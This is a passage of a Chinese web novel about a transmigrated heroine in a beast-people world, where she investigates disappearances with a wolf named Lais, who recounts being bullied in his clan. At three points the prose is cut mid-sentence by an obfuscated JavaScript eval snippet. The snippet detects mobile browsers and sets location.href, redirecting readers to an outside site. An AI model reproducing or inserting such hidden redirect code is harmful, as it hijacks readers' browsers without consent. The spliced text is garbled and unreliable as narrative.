苏昙边听边在大脑里回忆检索,却对男人的描述没什么印象。 她摇了摇头。 男人的眼圈立刻泛红:“没关系,我再找找,肯定能找到的。 “……”苏昙张张嘴,犹豫片刻,最后还是说道,“你有没有想过,也许她已经被猎食,或者有了别的——” “不可能!”男人立刻斩钉截铁地否定,“我们驼鹿人一生只认一人,她不可能弃我而去,更不可能……更不可能丧命。” 苏昙看着男人深情的模样,面露歉意,真诚道歉:“对不起啊,我无意冒犯你们。” 等男人情绪稍稳定了些,苏昙接着问道:“你还记得她消失前去了哪吗?” 男人吸吸鼻子,缓声说:“前天是我们恋爱一周年纪念日,她说要给我一个惊喜,让我在家等着。她是一个人出去的,结果一直到晚上都没有回来。因为我们大多时候只在家附近活动,所以我马上出去找她。可我丝毫没有闻到她身上的气息,如果真的被猎食,血腥味一定很浓,我肯定能发现!” 苏昙觉得男人说的不无道理。但归根结底她没有遇到过可疑的雌鹿,实在帮不上什么忙。 临走前,她对男人说道:“希望你们能早日团聚,别灰心。” “……好。” 眼看他又要哭,苏昙赶紧离开了。真没想到人高马大的男人,竟有着如此铁汉柔情的一面。 她回到和莱斯分开的地方,还没有见他回来。苏昙又耐心等了一会,依旧不见莱斯的身影。 这么长时间不回来,该不会是故意撇下她,自己一个人走了吧? 苏昙四下里看了一圈,发现地上还有他离开时留下的脚印。 她顺着脚印往前走,走到河边的开阔地带,脚印消失在一片高高的草丛里。河边时不时传来粗重的喘息声。 这声音,怎么这么熟悉? 苏昙悄悄拨开遮挡视线的草丛,一个动物形态的雄狼毫无预兆暴露在她眼中。 雄狼棕褐色的耳朵垂在脑袋两边,清澈透亮的蓝瞳在看到苏昙的瞬间爆发浓重杀意,下意识咬断了嘴里河狸的脖颈,溅出鲜红血液,染红了脖颈处分外显眼的一缕白毛。 苏昙吓得一激灵,飞速松开手中的草丛,跑得离河边远远的。 这还是她第一次看到莱斯的原形。 如果忽略他眼中的狠戾杀意,甚至能说一句可爱——但苏昙现在一点也不这么觉得。 过了几分钟,有人拨开草丛走了出来。 莱斯已经恢复人形,身上的血渍和污泥都清洗得干干净净,一点也看不出刚才正在猎食的样子。 只是,他的脸色比之前更冷更臭。 “看见了?” 苏昙摇头:“没看见。” 莱斯停下脚步,冷眼看着苏昙:“想嘲笑就笑出声,别装得一副清高的样子。” 苏昙:“……?” 她吓都快吓死了,再说,现在模样清高的人,难道不是他吗? 莱斯看着苏昙脸上的复杂表情,厌恶道:“半大的小雌狼,虚伪至极。” “……你说什么?”苏昙没想到,他心里对纯种狼的偏见还真是大。 “怎么,我说错了?” 苏昙在脑子里反复斟酌,决定来一把狠的,也许能以毒攻毒,顺便把她早就堵在心里的话发泄出来。 “清高?虚伪?莱斯,你能不能看清楚,如果我真的瞧不起你,你以为我会主动和你做朋友?不就是蓝瞳,不就是垂耳,不就是长得和别的狼兽人不一样吗?到底是我在害怕还是你在害怕?还是说,你一直在用冷漠狠辣伪装你的自卑?!” “那是因为我和你不一样!” “不一样?哪不一样了?哦,是你不需要吃饭睡觉,还是你不需要洗澡上厕所?亏我还以为你只是性格冷淡,原来你心里就没把自己当正常人看,还一直活在外人的眼光里!” 莱斯被苏昙连连呛气:“我没有!” “你没有?”苏昙反问,“你要是没有你敢当我面再变一次狼形吗?恐怕连乔泽都没见过吧?我早就看不惯你一副自作多情又自命清高的样子!你是很强,是很厉害,我打不过你,但我现在明确告诉你,我苏、我维希瞧不起你!” 莱斯:“我……” “我什么我,你能尊重乔泽,能尊重别人,不许让别人关心你?难道在你看来,别人的善意和尊重难道全都是虚伪的吗?!” 苏昙一股脑说完,直勾勾地盯着莱斯。但他……怎么愣住了? 莱斯飞快擦了一把眼睛,背过身去。 “看什么看?!”他没好气道。 苏昙瞪大眼睛。 老天爷,她压根没想把人惹哭啊! 好在没一会,莱斯就恢复正常,虽然脸色依旧难看,但说话的语气缓和许多:“还不走吗?” “你……不生气了?”苏昙和他并行,拼命为刚刚的发言找补,“反正呢,理都是那么个理。而且我刚才说的大多是气话,其实我从来没有瞧不起你,包括乔泽,他最能理解你的感受了!” 莱斯没有说话。 苏昙走在他身边,还想再说什么,突然被莱斯拽住:“有人。” 话音刚落,前方出现一个和莱斯一样年纪的狼兽人,他一边比划一边问道:“你们好,请问你们有没有见过一只杂种狼,叫粟叶,他很久没回家了。” 苏昙:“你也找人?” 莱斯皱眉:“你是谁?” “我叫粟枝,是他哥哥。” “哥哥?”苏昙不解,“你既然是他哥哥,为什么会不知道半个月前就被父母赶出去了?” “什么?!”粟枝心里狠狠一跳,“我那一天都在外猎食,根本不知道这回事。” 苏昙对粟枝讲了当时救下粟叶的事情。 末了,苏昙说道:“救下他之后,我就离开了。至于后来他去了哪,有没有回去过,我就不清楚了。” 莱斯不知想到什么,看着远处喃喃道:“杂种狼、未成年、还被霸凌过,这样的条件独自在外面,大多是九死一生。” 粟枝懊恼地蹲下保住脑袋:“怎么办……整个家里,只有我和他亲近。都怪我那天听了爸妈的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537631|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早便出去猎食,留他一人在家里。我真的没有想到,我爸妈会厌恶他到这种地步……他还那么小……” 苏昙劝慰粟枝:“你也别那么自责。当务之急,得先找到粟叶。现在,没有消息就是最好的消息。” “……你说得对。”粟枝站起来,握住苏昙的手,感恩道,“多谢你当时救下我弟弟。我住在森林西边的大树洞里,如果你们有什么消息,随时都能去那找我。” 苏昙:“一定。” 待粟枝离开后,莱斯若有所思地看着苏昙:“你刚才说‘你也找人’,‘也’是什么意思?” 苏昙解释道:“在你猎食的时候,有一只驼鹿告诉我,他女朋友也找不到了。” 莱斯:“……你还真是个热心的好人。” 然而,苏昙摇摇头:“热心诚可贵,生命价更高。那是一条活生生的生命没错,但那也是所爱之人的牵挂。这种时候,能帮一点是一点,哪怕一句安慰的话,也是好的。” 莱斯似是没想到苏昙会这么说,憋了半天,最后道:“回去了。” * 001回到虚空之境,看到131和401聊得正起劲。 “哟,大忙人回来了。”131看到001推门进来,招手感叹道。 进到第三个里世界以来,001要么跟在苏昙身边,要么就在虚空之境的各个地方交接工作,记录档案,忙起来一天都见不到人影。 “你们在聊什么?” 001脱下黑色风衣,在衣架上挂好。 401给001递来一把靠椅,说道:“最近一直见不到你,还没来得及给你说,上周主神暗中找到我,告诉我不用再监视你了,还让我和你彻底断掉联系。你觉得,主神这是什么意思?” 001已经跟在主神身边百十年,自然明白祂的话外之意:“估计是主神知道了我想拥有人类身份的念头,准备亲自盯着我做事。” 另外两人异口同声道:“你想变成人类?!什么时候的事?” 001倒是淡定得多:“很早之前就有想法了。不过在遇到苏昙之后,我才真正确定下来。而且,这件事情她也知道。” “不是,”401越听越迷惑,“你什么时候和你宿主的关系这么好了?” 131在一旁想起什么,问001:“难不成……你主动破冰了?” 401不知道他们在聊什么,着急道:“什么破冰?” “哎呀,就是001他一见到苏昙就有一种奇怪的感觉,但是也不觉得讨厌。可他那时候又和苏昙吵架了,不知道该怎么办,我就给他支招,让他主动破冰。” 131积极给401解释。 001觉得131说得不够准确,但也大差不差,便没否认。 131站起来撞了一下他的肩膀,打趣道:“可以啊,兄弟没白教你。” 001轻咳一声,正色转移话题:“趁着你们都在,我想说一件事。” “关于谷晨的?”401心里萌生预感。 “嗯。”001点头,“谷晨的死极有可能和主神脱不开关系。但是只靠我们三个调查主神太困难,也许苏昙能帮得上忙,毕竟……她也是宿主。” “行啊!多一个人就多一份力量!”131举手赞同。 401没有像131那样面露喜色。 001理解他的担忧,补充说:“其实,你可以相信苏昙。她说了会帮,就一定会做到。我们接近主神会很明显,但换做宿主就不一样了。她和主神之间,没有直接联系。” 131附和道:“没错没错,我也和苏昙相处过。虽然她总‘欺负’我,但心地不差。” “既然你们这么说,那我就没什么好担心的。”401耸了耸肩。 “我答应你,在我离开虚空之境之前,一定把谷晨的事查清楚,不会让他死得不明不白。”001向401认真承诺,“另外,我能再拜托你件事吗?” 401:“你说。” “这几天,还要你再仔细回想一下之前和谷晨相处的细节,最好能具体到他每段时间的状态,以及他还有没有留下什么东西。” “行,明白了,等我的消息。”401看到手腕上的手环闪烁,告别道,“我先走了,回见。” 47. 世界三(7) 苏昙和莱斯“吵过”一架之后,整整一个星期都相安无事,有时候碰巧遇到打个照面,莱斯的表情也再没像之前那样难看,就是每次见到苏昙都离开得飞快,好似见了什么洪水猛兽,下一秒就能把他给吃了。 苏昙百思不得其解,最终下定结论:男人的心思你别猜,影响女人搞事业! 她早上给001留过早餐,又给新交的乌鸦邻居喂过食,再次来到上次和姜伊湛相遇的地方,结果依旧空无一人,等了半天连只鸟都没飞过。 当时就应该和小女孩约好时间,否则她也不会像现在这样苦苦地“望穿秋水”。 苏昙躺在树荫里,有一下没一下地轻抚身下的嫩草,脑子里却是这个世界的原主,维希。 前两个世界的任务多少都和原主有关,但自从来到这个兽人世界,她知道的关于维希的事情少得可怜——领地被抢、和家人失散、又一路被追杀。 这种人设放到小说里,简直就是普通得不能再普通的炮灰,根本无人在意。 相比之下,第一个里世界的苏雨虹,是个万众瞩目的女明星;第二个里世界的同名原主是尊贵的掌门独女;为什么系统会让她在第三个里世界,穿到这么微不足道的角色的身体里? 更令苏昙不解的是,维希身为已经在森林里生活了一年的野生动物,为什么她给人的第一印象更偏向……弱小无助? 苏昙闭上眼睛,久久沉浸在自己的思绪里。 不知过了多久,不远处的灌木丛中传来轻微的声音,这声音不大不小,刚好能吵醒一个半睡半醒的小寐的人。 太阳大剌剌地升到当空,她晃了晃脑袋,立刻警惕起来,化成动物形态悄悄躲到大树后面,观察正轻轻摆动的灌木丛。 不一会,一个一岁左右、体型和维希相仿的雌狼钻出草丛,自顾自地走进森林深处。 看到她转身的那一刻,苏昙瞳孔骤缩,感觉到自己的呼吸停滞了一秒——这只小雌狼长得几乎和莱斯一模一样! 蓝瞳、垂耳、甚至连她的脖颈处,也有一缕和莱斯一样的白毛。 苏昙的心砰砰震跳,若他们二人真的有什么关系,那这基因也未免太强大,除去自身原有的气质,外形简直等比完美复刻! 她压低呼吸,远远尾随在这只突然出现的雌狼后面。 果然,小雌狼的嗅觉格外灵敏,她好像本就知道该往哪里走,七拐八拐,竟摸到了月影族附近,然后在方圆一公里的地方徘徊。 约摸到黄昏时分,苏昙看到她找到一个隐蔽的地方,朝地面扒拉半天,没几分钟做出一个浅浅的小窝,舒舒服服趴了进去。 看她不再有什么行动,苏昙也离开月影族回到房子里。 悠哉而皎洁的月光如丝绸淌进窗沿,数种虫鸣你唱我和,准时奏响夜晚的交响乐。 苏昙躺在床上,听着着森林带来的白噪音,回想起乔泽曾经提起,他的家在森林南边,离月影族仅五公里的距离。 也许,是时候去找一趟他了。 * “咚、咚、咚。” 第二天一早,苏昙便敲响了乔泽的家门。 “哪个不懂事的大清早来扰人清梦啊!”乔泽愤愤地抓了抓有些毛躁的淡棕色长发,打开门看清来者瞬间换了表情,笑道,“原来是维希,快进!自从上次一别,我还以为你已经把我给忘了。” “怎么会,”苏昙把手里提的食物放到乔泽家的桌上,礼貌道,“一点心意。” “明白明白!我就好你这口!”乔泽乐滋滋地接下,转而问道,“你来找我,是有什么事吧?” 苏昙爽快点头:“前几天,我和莱斯在森林里碰到几个兽人,他们家里都有人莫名失踪,我思来想去总觉有些奇怪,不是想着你不是认识人多,来找你问问。” 乔泽听后,饶有兴趣地看着苏昙,叹气说道:“那可真是不巧了,我还真没听说过这些事。而且……” “而且什么?”苏昙坐到靠墙的沙发上。 “而且前天,莱斯也来找我问过一模一样的问题。” “他也来找你了?” 苏昙没想到莱斯平时闷不吭声,竟然对事不关己的琐事也这么上心,甚至比她来得还要早。 “看你的表情,是没想到他也会关心失踪的事?”乔泽摆摆食指,“那你就大错特错了。莱斯这个人,最看不惯弱者被欺负,但又喜欢口是心非,帮了别人还要再损人家一句,你对他有误解嘛,也正常。” 苏昙现在没什么心思和乔泽探讨莱斯的为人,她正色道:“那你还有什么办法吗?” “当然。”乔泽脸上浮现自得的小表情,“虽然我不行,但我还有一堆朋友。他们中总得有几个知道的。这你不用担心,莱斯找我之后,我就已经开始联系我的朋友们了,相信很快就会有消息的。” 苏昙咋舌:“……可以。” 朋友多果然可以使人底气倍增。 她借机询问:“对了,你知道莱斯他还有什么亲戚在这里吗?什么七大姑八大姨,兄弟姐妹之类的。” “亲戚?”乔泽仔细想了片刻,摇了摇头,“没听他提起过。怎么了?” 苏昙神情隐晦:“噢,没什么,就是和他认识这么长时间,还没见有什么人找过他。按理说,莱斯应该还有亲人在家族里。” 乔泽嘴角浅浅抽动几下,似是想说什么最后又忍住。 苏昙注意到他欲言又止的表情,站起身认真道:“其实,我还有一件私事想麻烦你。” “你说,我先听听。” “这几天,可能还需要你帮我多留意着月影族周围。当然……如果你不方便,拒绝也没关系。” “莱斯原来的家族?你要我监视那干什么?!” 乔泽惊道。 苏昙连忙按住他:“别乱想!我保证不会对莱斯不利,这只是我的私事,私事。” 她又强调了两遍。 乔泽半信半疑地看着她:“那先说好,如果有什么不对,你必须把所有的都告诉我——还有莱斯!” “一定。” “行吧。”乔泽看了一眼苏昙,又把她的目光有意无意带到桌子上的食物上面。 苏昙立刻明白他的暗示,不由在心里叹服。 她状若自然地一拍脑袋,说道:“你瞧我,这次来得匆忙,这么长时间,还没问过你喜欢吃什么?也不知道这次带的和不和你胃口。” “嗐,就是肉啊什么的,我没什么挑的!” “哪有。”苏昙对他笑道,走到门口道别,“我记住了。等下次,我再来找你。” 乔泽高兴地答应:“行,我们再见!” * 苏昙跟了小雌狼几日,发现她行踪倒是十分规律——每天早上醒来便离开月影族附近,按第一次来时的路线分厘不偏的回到最开始出现的森林边界,等到下午四点左右,太阳的金辉渐渐淡化,又再次返回到月影族周围,饿了就靠路上碰巧遇到的野兔河狸充饥。 就连苏昙也明显看出来,这小狼比刚遇到时要消瘦一圈。 一星期后的早晨,苏昙拦住要出去觅食的莱斯:“你今天忙吗,我想带你去个地方。” 如果贸然提起莱斯的家人和原来的家……算了,苏昙还不想冒这个险。她想先让莱斯见见小雌狼,看看他什么反应,如果情况可以,再把她的猜测告诉莱斯。 “去什么地方?”莱斯偏过头问道。 “我现在不好说,总之,你去了就知道了。” “你到底卖什么关子?” “爱去不去。”苏昙激他道。 说罢,她撇下莱斯,独自往前走。 过了大约一分钟,她身后有人追上:“我又没说不去。” 苏昙听到莱斯的声音,轻轻挑了挑眉,没再理他。 森林的大小生物慢慢在清晨的曦光中苏醒,一路上不断有松貂和野兔从草丛跑走,只留下一闪而过的模糊身影。 苏昙的心情却并不像它们的身形那样轻松,越接近目的地,她心里就越忐忑。 果然,在距离月影族几公里的地方,她感觉到身后几步远的莱斯拽住了她的衣袖。 “这就是你说的,想带我去的地方?” 莱斯的声音没什么情绪,但冷得苏昙起了一阵鸡皮疙瘩。 她转过身,说道:“我承认,我是想带你来见个人。再准确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏昙注视他的背影,轻轻叹息,跟了上去。 然而,等苏昙带着莱斯来到月影族附近,却没有像往常一样看到小雌狼的身影。 她心里一沉,快步走到小雌狼惯常住的小窝旁,小窝的形状还在,看样子是离开不久。 但苏昙清楚记得,距小狼离开这里还有一个小时的时间,小雌狼一直都没有提前走过,今天突然消失,一定发生了什么。 莱斯看苏昙独自陷入沉思,出声打断道:“你难道不解释下,现在是什么个情况?” 苏昙皱眉:“……我不知道。昨天的这个时候,她还在窝里睡觉。而且,她日常活动十分规律,不可能这么早离开。” 莱斯:“无聊,你自己在这想吧,我回去了。” 苏昙感觉她就像面对一个叛逆的小孩,心里涌上一股无奈:“莱斯,你不觉得小雌狼的消失很奇怪吗?驼鹿和粟叶失踪,她也失踪,再往前些时间……你的父母也消失不见。其中,也许有什么巧合。” 听见苏昙提到父母,莱斯语气顿了顿:“世界上巧合的事多了去了,难道每一件都要和我有关系吗?” “既然和你没关系,那你前几天为什么去找乔泽,问他关于失踪兽人的事情。你明明也在关心他们,为什么非要装作不在意?承认自己的善良很难吗?” “善良只会成为软肋。” “但那也是你真实的一面。善良没有错,错的是那些利用他人善良之心的恶人。”苏昙问道,“总是这样躲避掩藏,你不会累吗,莱斯?” 苏昙脑海里浮现001的模样。 还记得那时,001也是这样的语气,平静地对她说:“有时,正是因为想得太多,反倒顾此失彼,最后就只顾着东躲西藏,身心俱疲。” 001的话让她顿悟,很多时候要面对的问题本身,往往都是自己。 苏昙突然没由来地生出一股强烈的冲动,想立刻就见他一面。 但她克制住了。 苏昙重新看向莱斯。 莱斯却哑了声:“我……不累。” 苏昙笑了笑,还真是头小倔狼。 她对莱斯说道:“抱歉,今天耽误你这么长时间。我们现在回去吧,今天估计也见不到她了,改天我再来看。” 48. 世界三(8) 第二天一大清早,苏昙还在做饭,家里猝不及防来了一位“不速之客”。 苏昙看到莱斯眼底的一片乌青登时吓了一跳,她停下翻锅铲的动作,问道:“你昨天没睡觉吗?黑眼圈重得快比上熊猫了。” 莱斯控制不住打了个哈欠,恹恹地看了一眼苏昙:“熊猫是什么?” 苏昙:“……” 好吧,她忘记了这俩个物种压根就没见过面,当她没提。 莱斯本也对这什么猫的不感兴趣,他继续自顾自说道:“我有事找你。” “哦。” “你就不好奇是什么事?” “不好奇。” 苏昙正忙着把做好的煎蛋夹到盘子里,又转身去盛锅里的紫菜咸汤。 “你先别做了!”莱斯有些急了,他走到苏昙身边,按住她盛汤的手,“我就不明白,你一个堂堂正正的森林狼,怎么这么喜欢生火做饭,直接生吃不好吗,不比这些表面功夫有味道?” 苏昙不动声色把手抽出来,反问道:“那你住这么大的房子干什么,直接风餐露宿不好吗?” 莱斯:“……” 巧舌如簧。 他撇撇嘴,坐到沙发上:“我今天来找你,就是通知你,我可以和你调查那些失踪的兽人。但是,不去月影族是我最后的底线。” 苏昙嘬了一大口紫菜咸汤,温过一遍喉咙之后,慢悠悠地问道:“改主意了?” “你就当我一时冲动的鲁莽决定。” “想了整整一夜,连觉都没睡,我怎么看可都不像是鲁莽。” “你——” 莱斯气得又站起来,注意到盘子里的两个香喷喷的煎蛋,准备伸手去拿:“……给我准备的鸡蛋?” “啧。别碰。”苏昙毫不客气地用筷柄敲了一下他的手指,嫌弃道,“不是给你的。刚不是还说喜欢直接生吃?喏,左边案板上有生的兔肉,那是你的。” 莱斯瞪大双眼,颇有些不情愿地走向案板:“这一共就咱们两个人,不是你和我的煎蛋,还会有谁?” “反正不是你的。” 苏昙挑出一个金黄焦脆的煎蛋,留下较大的那一个,顺手把盘子小心地往里推推。 莱斯满脸怀疑地把兔肉拎到鼻尖下面,上下左右仔细嗅闻半天,最后才细嚼慢咽地吃下去。 苏昙好笑地看着他:“没有毒,放心吃。” 虚空之境餐厅大厨严选,001冷链速运,保管新鲜得很。 莱斯一口气把肉囫囵吞下去,重新扯回话题:“所以,你想怎么查失踪案?” “我想,先去找个人。” * “这就是你要找的人?” 一小时后,莱斯指着面前熟悉的房子,没好气地问苏昙。 “对啊。你找过乔泽,我也找过他,两个同伴变三个同伴,不好吗?” 苏昙话音落,木门打开,出现依旧睡眼朦胧的乔泽。 她还未来得及打招呼,莱斯便熟练地从他们二人中间挤进房门,毫不客气说道:“几点了还没起,太阳晒屁股了都不知道。” 苏昙对乔泽笑笑,把她手里的肉递给乔泽,和他一起走了进去。 乔泽打趣道:“你俩竟然还有同框出现的时候,真是稀奇。” “别聊那些有没的,我托你打听的失踪案有什么进展了吗?”莱斯打断他。 “很遗憾,你拜托我的事情还没有消息。不过,小希让我暗中观察的事情倒是有点意思。” 莱斯嫌弃地皱紧眉头:“恶不恶心,还小希。” “我把维希当妹妹,叫声小希怎么了?”乔泽理直气壮道。 苏昙也眉心一跳,尴尬地示意乔泽接着往下讲。 乔泽:“就在昨天凌晨四五点模样,我在外面猎食回来,恰好经过月影族那一片地方,你们猜我看见谁了?你们肯定想不到!” 莱斯白了他一眼:“能不能别卖关子?” 乔泽反而看向莱斯,有些激动道:“是那只独眼狼!你曾经的手下败将!” “独眼狼?他在那干什么?”苏昙问道。 莱斯:“你也认识宾砾?” 苏昙:“……实不相瞒,之前我离开你家后,碰巧遇到独眼狼——也就是宾砾,还有他身边的一只杂种狼。之后我又进到了月影族,在那待过一个晚上。” 莱斯冷笑:“没想到两年过去,亚斯那条狗竟然还跟在宾砾身边。” “你看见宾砾,然后呢?”苏昙接着问乔泽。 乔泽:“我瞧见,他对一只小雌狼说了什么,没一会那小雌狼竟然跟着他走了!不知道是我眼花还是怎么,我看着那只小狼竟然和莱斯有几分相似。” “你没看错,她确实和莱斯长得几乎一模一样。” 苏昙虽是在回答乔泽,眼睛却看着莱斯,脸上表情十分了然,乔泽的话正好验证了她昨天的确没有欺骗莱斯。 莱斯面上有点挂不住,正色道:“这么说,也许其他失踪的狼兽人和宾砾脱不开关系。” 苏昙也表示赞同:“现在看来,只有接近宾砾才能弄清到底发生了什么。” “话是这么说……”乔泽听出她的言外之意,担心地看向莱斯。 莱斯也知道苏昙话里的意思,冷淡道:“我说过,我——” “我没想着碰你的底线,”眼看他又要发作,苏昙赶紧抬手制止他,“你讨厌月影族没关系,乔泽又和狼兽人身份有别,非要选一个的话,我去就是。” “你真愿意去?”莱斯迟疑地问。 苏昙点头:“不过,我有一个问题,希望你能详细说说。” 莱斯:“什么问题?” “你过去在月影族,究竟发生过什么,以至于让你这么厌恶那里和同类?” “……” 莱斯神色黯淡下来,嘴角隐忍地绷紧成一条直线。 过了很久,他终于缓缓开口:“那个时候,我父母刚刚消失,而我还没有离开月影族。” * 莱斯的母亲叫洛娜,是一只血统纯正的森林狼,也是月影族的头狼,是整个家族威严和权力的代表。 他的父亲叫迪萨。迪萨原本是山下一户人家的捷克狼犬,和主人走散后误入山上的森林,又恰好遇到洛娜。很快,他爱上了勇敢又知性的洛娜,两人在次年的四月便诞下他们的孩子。 不幸的是,洛娜本来产了三子,结果前两个都因为体弱,刚落到地上,连胎血还没舔净就死了,只有最小的莱斯,福大命大,活了下来。 然而偏偏事与愿违,莱斯好巧不巧是个杂种狼。他永远不会忘记,洛娜看到他第一次睁眼时,满脸绝望的神情,在迪萨的怀里哭了很久,很久。 那时他什么都不懂,只知道自己的出生,丢尽了母亲和家族的脸。 但洛娜并没有一直悲痛下去,她很快担起了严母的职责,每日带莱斯出去猎食,有时莱斯被鹿追咬的浑身是伤,疼的眼泪不止,也得不到她一个关切的眼神。 “一忍制百辱,一静制百动。”是洛娜在教他猎食时最常说的一句话。 有洛娜在,哪怕他是只杂种狼,家族里的人也不敢多给他一个歧视的眼神。 那时莱斯才彻底明白,只有变得足够强大,才能保护真正想保护的人。 反倒是他的父亲迪萨,总偷偷避开洛娜的视线,悄悄带着莱斯去河里或者小溪里打闹玩耍,给了他为数不多的喘息和放松。 他的童年就这样在时常的严苛和偶有的幸福中度过。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547911|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的幸福美好只持续了一年的光景。 在他刚满一岁的那年,洛娜和迪萨双双不见了。 没有留下任何消息,没有找到任何线索,也不见尸首骸骨,他们就这样毫无征兆地消失在莱斯的生活里。 可笑的是,月影族头狼失踪,所有兽人的第一反应不是去寻找首领,而是为当任新一任头狼争得面红耳赤,不可开交,每天都是如此。 只有和洛娜从小玩到大的好友,也是莱斯的干妈——凌冉,还陪在他身边。 虽然这也是无济于事。 很快,家族里的那些亲戚开始露出他们真正的嘴脸,越来越猖狂地对莱斯恶语相向,甚至放任自己的孩子对莱斯欺辱霸凌。 有时候,莱斯会在他常喝的水杯里意外吞进尖锐的沙石,划破唇舌;有时他会在下山的时候冷不丁被人推下山崖,最严重的一次,他后腿骨折,在床上躺了整整一个月;更多时候,明明都是一起猎杀的驯鹿,他出力最多,却在进食的时候被排挤到最后面,吃那些狼兽人吃剩的冷炙。 霸凌者里,最过分的就是同龄的兽人宾砾和他身边的跟班亚斯。那些阴险的损招,宾砾都对莱斯使过,就因为他是个血统不纯的杂种狼。 “一忍制百辱,一静制百动。” 这句话莱斯曾在父母消失后的每个深夜不断对自己说。 但他终是忍不下去了。 凭什么他要被这狗屁的种族和基因束缚? 凭什么是他被父母抛弃? 凭什么欺辱的人可以光明正大地活着? 凭什么偏偏要他咬牙隐忍?! 这些压抑在心里的愤恨全都化作暴力与狠戾,爆发在宾砾身上。 那天的天气和莱斯的心情一样,没什么阳光,阴沉沉地让人喘不过气。 莱斯和宾砾开战了。 他腹部先被宾砾咬掉一块肉,紧接着他毫不示弱地回击,硬生生剜掉了宾砾的右眼,只剩下一个流血的骇人空洞。 那一战,莱斯和宾砾打了很久,直到最后成为莱斯单方面的碾压,他把这么长时间的所有屈辱都一一还给了宾砾。 天不知什么时候下起了淅淅沥沥的小雨,轻柔地舔舐过莱斯身上密麻的伤口。有一瞬间,莱斯恍惚觉得,洛娜曾经在某个晴朗的夜晚,也对他这样做过。 宾砾还躺在地上半死不活地喘着粗气,莱斯抬眼对上宾砾身边的跟班亚斯。 查克和他一样,也是只杂种狼,现在却站在狼群身后,害怕得夹紧了尾巴。 莱斯冷冷注视着亚斯和自己并无两样的蓝瞳,暗自发誓,这辈子绝不像他那样走狗般屈辱地活着。 他要离开这。 走的前一天晚上,凌冉认真地问过莱斯的想法,毕竟这是他们一家人从小共同生活的地方。 他摇摇头,清瘦的脸庞露出一成不变的倔强:“这已经不是我的家,我以后不会再回来了。” “孩子……在外保重。”凌冉忍不住拂去眼角的热泪。 “你也……照顾好自己。干妈。” 这是莱斯能说得出最温柔的话了。 离开月影族的那天,他身边不断响起细如蚊哼的议论,每个字却像豆子一粒一粒蹦进他耳朵: “都说没妈的孩子像棵草,现在这小杂种连爹也没了,可怜啊……” “呵,一个杂种狼,有什么好可怜的?” “我的好孩子,以后别和他玩了,他会把你带坏的。” “长得那么丑,脾气还那么臭,也不知道天天耷拉个脸给谁看!” “……” 分明是冷嘲热讽的话,竟无一不流出按耐不住的高兴,真是讽刺。 莱斯面无表情地扯扯嘴角,毫不留恋地离开这个他生活了一年的地方。 49. 世界三(9) “所以,我不会再回月影族。” 莱斯讲完过往经历,眼底闪过一丝不易察觉的悲伤,很快就恢复平常神色。 乔泽不知在想什么,过了一会,他抬头问苏昙:“你回到月影族之后,准备怎么做?” 苏昙认真思考道:“我进到月影族后会借机接近宾砾,找出失踪兽人的下落。每隔三日,我会找机会出来,在这里和你们接头,商量之后的行动。” 乔泽:“可以是可以。不过,如果你中途出了什么意外,没有如约出来,我们该怎么和你取得联系?” “要联系我……”苏昙抓住脑海里一闪而过的画面,福至心灵道,“如果我没能及时和你们碰面,就用乌鸦给你们传信。” 家里的乌鸦邻居白吃白喝这么长时间,是时候报恩了。 莱斯则紧皱眉头:“哪来的乌鸦,靠谱吗?” 苏昙笑着提醒他:“我说的乌鸦,你也见过。” 莱斯没有接话,过了几秒,他突然悟道:“不会是当时你离开之前……哼,我还真是小瞧了你维希,又是让人家试毒,又是让人家给你当信鸽,你心里不会有罪恶感吗?” “我为什么要有?朋友不都是互帮互助的吗?”苏昙满不在乎地耸耸肩,“不然你和我一起去月影族也行,两个人行动总会比一个人更方便,关键时候还能相互照应。” “但我知道,你不可能去,所以我找个帮手怎么了,又没碰到你的底线。” 苏昙趁莱斯还没来得及生气,又飞快补充道。 莱斯感觉到脸上的肌肉抽了抽,他都快要被眼前的这个女人磨得没了脾气。 乔泽在旁边看他们你一句我一句地聊天,忍不住插嘴:“我说,既然小希你去月影族,那我和莱斯就先去找找那些失踪兽人的家属,也许还能发现什么线索。” “没问题。但千万记住,一定不要冲动行事。我的直觉告诉我,兽人的失踪并不简单。”苏昙站起身,准备回家。 乔泽也站起来,把她送到屋外。 苏昙看这里只有她们二人,停下脚步,直言问道:“我们非亲非故,你愿意这么配合我,不只是为了我送的那一点肉吧?刚刚莱斯讲完他的故事,我看到你表情挺严肃的。” “……的确,我不单单是为了帮你。”乔泽说了实话,“你和我都明白,那些经历,对他来说没有影响都是假的,不然怎么会现在这样冰冷的样子?” “莱斯是我最好的朋友,今天我也是第一次感受到,原来他对月影族的心结这么大。我想帮他过去月影族的那道坎,不然是一辈子的伤痛。” 苏昙听到乔泽的回答和她心里所想几无差别,便没再说什么,轻轻点头和他道别。 * 苏昙回到房子,重新把煎蛋和紫菜咸汤热过一遍,对识海里的001说道:“在吗?” “嗯。” 很快,一个熟悉的身影出现在她面前。 苏昙把碗筷递给001,有些惋惜道:“想想还有点舍不得,可能以后我就没条件再动手做饭了。” 